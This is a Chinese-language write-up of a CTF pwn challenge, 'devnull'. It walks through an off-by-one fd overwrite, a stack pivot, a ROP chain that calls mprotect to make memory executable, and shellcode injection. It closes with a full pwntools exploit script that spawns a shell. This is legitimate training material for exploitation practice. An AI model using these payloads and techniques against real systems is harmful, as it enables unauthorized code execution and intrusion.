一.思路分析
根据汇编代码能够绘制出如下栈帧:

第一次fgets(s, size_0x21, stdin);这里有一个off by one的溢出,可以将fd的低位03改成00,从而使得接下来的read变成标准读入。
下一次read(fd, &v3, size_44)时,可以刚好覆盖返回地址,因此发现栈帧溢出不够,因此考虑栈迁移。同时此处还可以修改buf指针的地址,从而控制接下来读入数据的位置。
一开始我想把buf设置到bss段,但是由于在read(fd, &v3, size_44)执行之后会紧接着执行retmprotect()函数,将bss段全部设置为了只读,无法在写入,因此一开始在这里回报段错误,所以只能另找可写段,vmmap一下,发现0x3ff000处全是0,并且可读可写,写到这里应该不会有什么问题,所以buf也置为0x3ff000.
之后执行read(fd, buf, size_0x60),如果此处写入了shellcode,并且在0x3ff000位置是可执行的,那么只需要将返回地址设置为0x3ff000,不就可以ret2shellcode了嘛。因此现在最关键的问题就是如何修改0x3ff000处的权限。
还有个要注意的问题就是,因为read的大小有限,所以我们要执行两次read,第一次用来构造执行mprotect的数据,第二次写入shellcode。
二.具体做法
第一段payload:
payload1=0x1f*b'a'
p.sendline(payload1)
此处利用fgets末尾自动填充\x00来修改fd指针的值。注意此处是0x1f个a,因为sendline还会发送一个’\n’,再补一个00,刚好覆盖fd。这里比较简单,不多赘述。
在讨论第二段payload之前,首先要在这里提及几个gadget,这几个gadget会在后续payload中发挥重要作用:
gadget1=0x4014f7 #把edx置为7,leave ret
gadget2=0x401350 #mov eax [rbp-0x18]
#leave
#ret
gadget3=0x4012d0 #把esi置为0x1000,edi置为eax,然后call mprotect,pop rbp,ret
gadget4=0x401354 #leave ret
gadget5=0x4014ce #执行read(0,bss,0x60)
这里尤其要注意每个gadget2,3会执行一次leave ret,这里很坑,也直接导致了我的payload3构造了3,4次都不对,后面会提到。
现在我们可以看一下payload2了:
payload2=b'a'*0x14+p64(writeableaddr)+p64(writeableaddr)+p64(gadget4)
要注意的是这里的writeableaddr,根据栈帧分析,这个地方应该放的是fakerbp的地址,然后gadget4是leave ret,没什么毛病,实现栈迁移,可是fakerbp的值为什么是writeableaddr呢?请接着往下看,因为payload2和payload3的构造是紧密结合的。
我们先认为上面的payload2成功实现了栈迁移,那么根据我们一开始的分析,我们现在想要做的就是修改0x3ff000处的权限为7(可读可写可执行),也就是说,我们要执行mprotect(0x3ff000,0x1000, 7)意味着call mprotect之前,要把rdi置为0x3ff000,rsi置为0x1000,rdx置为7,我们到ida中看一下gadget2处的命令:
mov esi, 1000h
mov rdi, rax
call mprotect
nop
pop rbp
retn
你会发现rsi其实非常好控制,因此要考虑的就是控制rdi和rdx了。
你可能会想:那多简单啊,找到pop rdi和pop rdx不就可以了?我一开始也是这么想的,一旦找到了这两个pop,那么构造一个ROP链,轻松解决,可是当你到ROPgadget去找一下的时候,你就傻眼了:

哎嘿,什么也没有。
那怎么控制rdi和rdx呢?
我们先来看rdx:
if ( !read(fd, buf, size_0x60) )
exit(1);
stdwrite("Thanks\n");
result = close(1);
注意看这几句指令,Thanks\n这不正好是7个字符吗?看一看stdwrite的函数体:
ssize_t __fastcall stdwrite(const char *a1)
{
int v2; // [rsp+1Ch] [rbp-4h]
v2 = strlen(a1);
return write(1, a1, v2);
}
有v2 = strlen(a1),之后v2有作为write的第三个参数!!!这不就是rdx为7吗!也就是说,在read(fd, buf, size_0x60)之后,执行了stdwrite(‘Thanks\n’)以后,rdx就是7!因此我只需要在修改rdi的值,就可以成功调用mprotect了!先来gdb测试一下:

非常好,和我们预期的一样,那么接下来的问题就是如何修改rdi喽?
再次回顾gadget3,你会发现mov rdi, rax 这样一条指令。哦~~rdi是通过rax来控制的啊,那么rax怎么控制呢?继续寻找,发现了gadget2:
gadget2=0x401350 #mov eax [rbp-0x18]
#leave
#ret
看到了吧,想要控制rax,就要控制rbp-0x18的位置,别忘了,我们在调用mprotect之前已经实现了栈迁移,所以现在栈已经迁移到了你自己定的某个位置,(其实就是0x3ff000,只不过按照目前的分析我们并不能确定栈帧结构)所以我想如果你认真读到这里,你就应该明白了,payload3就是要构造假栈帧的结构,让他成功的修改rdi,然后调用mprotect。
最难点来了:如何构造假栈帧
先来看我构造的(成功getshell):

接下来,容我细细解释:
首先,payload2中fakerbp指向了0x3ff000的位置,也就是说,在payload2执行完第一次leave ret之后,rbp会指向0x3ff000

执行完第二次leave之后,rbp会指向0x3ff040,而rsp就会指向0x3ff008,此时rdx=7,我要修改rax,0x3ff008中的内容0x401350即为修改rax的gadget

因此此时[rbp-0x18]对应的值即为0x3ff000,也就是我想放进rax里的值,修改完rax之后,我又会执行一个leave,此时rbp=0,rsp指向原先rbp的位置,也就是0x3ff040,再次ret时调用0x4012d0,也就是去call mprotect从而成功修改权限。

call mprotect之后还会执行一个pop rbp,在此我将其值设置为0x3ff030,因为我接下来要调用read(0,0x3ff000,0x60),而我们来观察一下read部分的汇编代码:
mov eax, cs:size_0x60
movsxd rdx, eax
mov rcx, [rbp-0x8]
mov eax, [rbp-0x20]
mov rsi, rcx
mov edi, eax
call read
你会发现rdi由[rbp-0x20]控制,rsi由[rbp-0x8]控制,因此,我要找到一个合适的rbp位置满足上面的要求,所以你会发现如果把rbp指向0x3ff030刚好满足,由此我又一次成功调用了read(0,0x3ff000,0x60),这一次,我只需要read shellcode,在shellcode之后加上返回地址0x3ff000就可以了。
所以我的payload3:
payload3=p64(writeableaddr+0x40)+p64(gadget2)+3*p64(0)+p64(writeableaddr)+3*p64(0)+p64(gadget3)+p64(writeableaddr+0x30)+p64(gadget5)
在执行完payload3之后调用read,读入payload4:
shellcode=asm(shellcraft.sh())
payload4=shellcode+6*p64(writeableaddr)
直接一个6*p64(writeableaddr)省去思考的烦恼,因为shellcode总长0x30个字节,所以后面的全填返回地址,总有一个对。
最后有一点:需要在cat flag之前先输入“exec 1>&2”,也可以把它放在脚本中sendline,但是具体原因我还没完全弄清。
读到这,你可能会问,为什么0x3ff000的位置要指向0x3ff040呢?别的位置不可以吗?其实我看过别的师傅的exp,有人也将这个值指向了0x3ff028,最终也能getshell,但是具体原理我并没有太看懂,但至少我知道我这个为什么要指向0x3ff040,请接着往下看。
一开始我其实还构造过这样的一个栈帧:

仿照上面的思路,call mprotect之前的部分完全一样,在call完mprotect之后,接下来应该要pop rbp,那么此时我让新rbp指向0x3ff018,接下来应该要执行read,去看一下[rbp-0x8]的位置,发现是我想要的0x3ff000,再去看一下[rbp-0x20]的位置,在这个图中没显示出来,但这个位置其实就是0,可以自己到ida里去看一看。因此read的参数设置也没问题,最终经过测试也确实成功读入了shellcode。
但是接下来的问题就变得十分十分抽象了,这也是我在逐步调试过程中发现的bug。以上这个栈帧在read shellcode之后,rsp指向的位置为0x3ff048,shellcode的末尾位置是0x3ff030。然而!然而!然而!shellcode在执行的过程中会有很多push命令,这些push命令前几个到无伤大雅,可是后面的push命令会把shellcode靠后的部分给复写掉!所以shellcode自己把自己破坏了,所以没法成功调用。经过调试,发现rsp一开始如果只向0x3ff060就可以安全调用,所以才有了修改后的栈帧。
在此之前还有好几个栈帧是因为没有注意gadget里面的leave或者pop指令导致rbp乱指,这里不多赘述了。
三.完整exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p=process('./devnull')
# p=remote('node4.anna.nssctf.cn',28320)
elf = ELF('./devnull')
p.recvuntil(b'please input your filename\n')
gadget1=0x4014f7 #把edx置为7,leave ret
gadget2=0x401350 #mov eax [rbp-0x18]
#leave
#ret
gadget3=0x4012d0 #把esi置为0x1000,edi置为eax,然后call mprotect,pop rbp,ret
gadget4=0x401354 #leave ret
gadget5=0x4014ce #执行read(0,bss,0x60)
payload1=0x1f*b'a'
p.sendline(payload1)
p.recvuntil(b'Please write the data you want to discard\n')
bss=0x404040
writeableaddr=0x3FF000
payload2=b'a'*0x14+p64(writeableaddr)+p64(writeableaddr)+p64(gadget4)#因为bss段在经过mprotect之后被设置成了只读,
#所以只能另找一段位置,但现在还是只读,所以准备开始站迁移
#payload2=b'a'*0x14+p64(bss)+p64(0)+p64(bss)
p.send(payload2)
p.recvuntil(b'please input your new data\n')
shellcode=asm(shellcraft.sh())
# print(shellcode)
# payload3=p64(writeableaddr+0x28)+p64(gadget2)+p64(writeableaddr)+2*p64(0)+p64(0)+p64(gadget3)+p64(writeableaddr+0x18)+p64(gadget5)#因为read长度有限,所以第一次先修改权限
payload3=p64(writeableaddr+0x40)+p64(gadget2)+3*p64(0)+p64(writeableaddr)+3*p64(0)+p64(gadget3)+p64(writeableaddr+0x30)+p64(gadget5)
payload4=shellcode+6*p64(writeableaddr)
attach(p)
pause()
p.send(payload3)
p.sendline(payload4)
p.sendline(b"exec 1>&2")
p.interactive()